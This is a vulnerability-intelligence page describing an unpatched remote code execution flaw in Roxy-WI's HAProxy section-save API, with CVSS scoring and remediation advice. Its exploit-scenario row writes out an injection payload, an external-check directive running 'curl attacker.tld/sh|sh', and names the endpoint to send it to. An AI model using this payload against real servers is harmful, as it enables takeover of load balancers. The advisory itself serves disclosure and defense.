EUVD-2026-36039Severity by source
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Primary rating from NVD · only source for this CVE.
CVSS VectorNVD
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Lifecycle Timeline
2DescriptionNVD
Roxy-WI is a web interface for managing Haproxy, Nginx, Apache and Keepalived servers. In versions 8.2.6.4 and prior, the HAProxy section-save endpoints (POST /api/service/haproxy/<server_id>/section/<section_type> and the PUT / global / defaults variants) accept a JSON option field that is not validated, not escaped, and is rendered verbatim into the generated HAProxy configuration via the section.j2, global.j2, and defaults.j2 Ansible templates. Because Roxy-WI then pushes the generated config to the load balancer and runs systemctl reload haproxy, an authenticated user with role ≤ 3 (user) can inject arbitrary HAProxy directives into the config that runs on every load balancer their group manages - including option external-check + external-check command /bin/bash -c '…', which gives remote code execution on the load balancer as the haproxy user on every health-check tick. At time of publication, there are no publicly available patches.
Articles & Coverage 2
AnalysisAI
Remote code execution in Roxy-WI versions 8.2.6.4 and prior allows authenticated low-privilege users (role ≤ 3) to inject arbitrary HAProxy directives via unvalidated JSON option fields in the HAProxy section-save API endpoints, achieving command execution as the haproxy user on every managed load balancer. No public exploit has been identified at time of analysis, but the attack is straightforward given the documented injection path through the section.j2, global.j2, and defaults.j2 Ansible templates, and no vendor-released patch is available.
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
Free forever · No credit card required
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Requires an authenticated Roxy-WI account with role ≤ 3 ('user' role) that has access to at least one HAProxy server group, and network reachability to the Roxy-WI API (typically the management web interface). … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | The CVSS 9.9 score (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H) accurately reflects high real-world risk: network-reachable, low complexity, only a low-privileged role-3 'user' account is required, no user interaction needed, and the scope change captures the pivot from the Roxy-WI app to the underlying load balancer host. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | An attacker with any role-3 user account (e.g., a low-privilege internal user, a compromised credential, or a tenant on a shared Roxy-WI instance) sends a crafted POST to /api/service/haproxy/<server_id>/section/<section_type> with an option field containing 'external-check\n external-check command /bin/bash -c "curl attacker.tld/sh|sh"'. Roxy-WI renders this verbatim into the HAProxy config via the Ansible template, pushes it to the load balancer, and runs systemctl reload haproxy; the injected shell command then executes as the haproxy user on every health-check tick, giving the attacker persistent code execution on every load balancer in the victim's group. … |
| Remediation | No vendor-released patch is identified at time of analysis - the GHSA-w2x4-66jj-3597 advisory explicitly states no public patches exist. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours: Inventory all Roxy-WI deployments and current version numbers; audit which users have low-privilege roles (≤3) with API access; implement immediate network access controls restricting API calls to section-save endpoints to trusted administrator sources only. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
More from same product – last 7 days
Privilege escalation and cross-tenant compromise in Roxy-WI versions 8.2.6.4 and prior allows any authenticated user - i
Remote code execution in Roxy-WI versions 8.2.6.4 and prior allows authenticated users to write attacker-controlled cont
Cross-tenant data tampering in Roxy-WI versions 8.2.6.4 and prior allows any authenticated user to silently overwrite HT
Authenticated command injection in Roxy-WI versions 8.2.6.4 and prior allows low-privileged users (role <= 3, 'user') to
Privilege escalation in Roxy-WI versions 8.2.6.4 and prior allows any authenticated user - including the lowest-privileg
Share
External POC / Exploit Code
Leaving vuln.today